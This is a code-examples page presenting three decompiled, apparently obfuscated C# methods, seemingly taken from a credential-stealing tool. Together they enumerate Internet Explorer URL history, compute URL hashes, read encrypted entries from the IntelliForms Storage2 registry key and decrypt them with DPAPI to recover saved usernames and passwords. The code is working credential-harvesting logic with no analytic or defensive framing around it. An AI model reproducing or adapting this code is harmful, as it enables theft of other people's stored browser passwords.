Exemplo n.º 1
0
        // Token: 0x060004F0 RID: 1264 RVA: 0x000121A8 File Offset: 0x000103A8
        public static List <GClass32> GetSavedPasswords()
        {
            List <GClass32> list = new List <GClass32>();

            try
            {
                using (ExplorerUrlHistory explorerUrlHistory = new ExplorerUrlHistory())
                {
                    List <string[]> list2 = new List <string[]>();
                    foreach (STATURL staturl in explorerUrlHistory)
                    {
                        try
                        {
                            if (InternetExplorer.DecryptIePassword(staturl.UrlString, list2))
                            {
                                foreach (string[] array in list2)
                                {
                                    list.Add(new GClass32
                                    {
                                        Username    = array[0],
                                        Password    = array[1],
                                        URL         = staturl.UrlString,
                                        Application = "InternetExplorer"
                                    });
                                }
                            }
                        }
                        catch (Exception)
                        {
                        }
                    }
                }
            }
            catch (Exception)
            {
            }
            return(list);
        }
Exemplo n.º 2
0
        // Token: 0x060004F5 RID: 1269 RVA: 0x000125A0 File Offset: 0x000107A0
        private static string GetURLHashString(string wstrURL)
        {
            IntPtr zero  = IntPtr.Zero;
            IntPtr zero2 = IntPtr.Zero;

            InternetExplorer.CryptAcquireContext(out zero, string.Empty, string.Empty, 1U, 4026531840U);
            if (!InternetExplorer.CryptCreateHash(zero, InternetExplorer.ALG_ID.CALG_SHA1, IntPtr.Zero, 0U, ref zero2))
            {
                throw new Win32Exception(Marshal.GetLastWin32Error());
            }
            byte[]        bytes         = Encoding.Unicode.GetBytes(wstrURL);
            StringBuilder stringBuilder = new StringBuilder(42);

            if (InternetExplorer.CryptHashData(zero2, bytes, (wstrURL.Length + 1) * 2, 0U))
            {
                uint   num   = 20U;
                byte[] array = new byte[20];
                if (!InternetExplorer.CryptGetHashParam(zero2, InternetExplorer.HashParameters.HP_HASHVAL, array, ref num, 0U))
                {
                    throw new Win32Exception(Marshal.GetLastWin32Error());
                }
                byte b = 0;
                stringBuilder.Length = 0;
                int num2 = 0;
                while ((long)num2 < (long)((ulong)num))
                {
                    byte b2 = array[num2];
                    b += b2;
                    stringBuilder.AppendFormat("{0:X2}", b2);
                    num2++;
                }
                stringBuilder.AppendFormat("{0:X2}", b);
                InternetExplorer.CryptDestroyHash(zero2);
            }
            InternetExplorer.CryptReleaseContext(zero, 0U);
            return(stringBuilder.ToString());
        }
Exemplo n.º 3
0
        // Token: 0x060004F3 RID: 1267 RVA: 0x00012310 File Offset: 0x00010510
        private static bool DecryptIePassword(string url, List <string[]> dataList)
        {
            string urlhashString = InternetExplorer.GetURLHashString(url);

            if (!InternetExplorer.DoesURLMatchWithHash(urlhashString))
            {
                return(false);
            }
            byte[] encryptedData;
            using (RegistryKey registryKey = GClass9.smethod_1(RegistryHive.CurrentUser, "Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2"))
            {
                if (registryKey == null)
                {
                    return(false);
                }
                encryptedData = (byte[])registryKey.GetValue(urlhashString);
            }
            byte[] array = new byte[2 * (url.Length + 1)];
            Buffer.BlockCopy(url.ToCharArray(), 0, array, 0, url.Length * 2);
            byte[] array2 = ProtectedData.Unprotect(encryptedData, array, DataProtectionScope.CurrentUser);
            InternetExplorer.IEAutoComplteSecretHeader ieautoComplteSecretHeader = InternetExplorer.ByteArrayToStructure <InternetExplorer.IEAutoComplteSecretHeader>(array2);
            if ((long)array2.Length >= (long)((ulong)(ieautoComplteSecretHeader.dwSize + ieautoComplteSecretHeader.dwSecretInfoSize + ieautoComplteSecretHeader.dwSecretSize)))
            {
                uint   num    = ieautoComplteSecretHeader.IESecretHeader.dwTotalSecrets / 2U;
                int    num2   = Marshal.SizeOf(typeof(InternetExplorer.SecretEntry));
                byte[] array3 = new byte[ieautoComplteSecretHeader.dwSecretSize];
                int    num3   = (int)(ieautoComplteSecretHeader.dwSize + ieautoComplteSecretHeader.dwSecretInfoSize);
                Buffer.BlockCopy(array2, num3, array3, 0, array3.Length);
                if (dataList == null)
                {
                    dataList = new List <string[]>();
                }
                else
                {
                    dataList.Clear();
                }
                num3 = Marshal.SizeOf(ieautoComplteSecretHeader);
                int num4 = 0;
                while ((long)num4 < (long)((ulong)num))
                {
                    byte[] array4 = new byte[num2];
                    Buffer.BlockCopy(array2, num3, array4, 0, array4.Length);
                    InternetExplorer.SecretEntry secretEntry = InternetExplorer.ByteArrayToStructure <InternetExplorer.SecretEntry>(array4);
                    string[] array5 = new string[3];
                    byte[]   array6 = new byte[secretEntry.dwLength * 2U];
                    Buffer.BlockCopy(array3, (int)secretEntry.dwOffset, array6, 0, array6.Length);
                    array5[0] = Encoding.Unicode.GetString(array6);
                    num3     += num2;
                    Buffer.BlockCopy(array2, num3, array4, 0, array4.Length);
                    secretEntry = InternetExplorer.ByteArrayToStructure <InternetExplorer.SecretEntry>(array4);
                    byte[] array7 = new byte[secretEntry.dwLength * 2U];
                    Buffer.BlockCopy(array3, (int)secretEntry.dwOffset, array7, 0, array7.Length);
                    array5[1] = Encoding.Unicode.GetString(array7);
                    array5[2] = urlhashString;
                    dataList.Add(array5);
                    num3 += num2;
                    num4++;
                }
            }
            return(true);
        }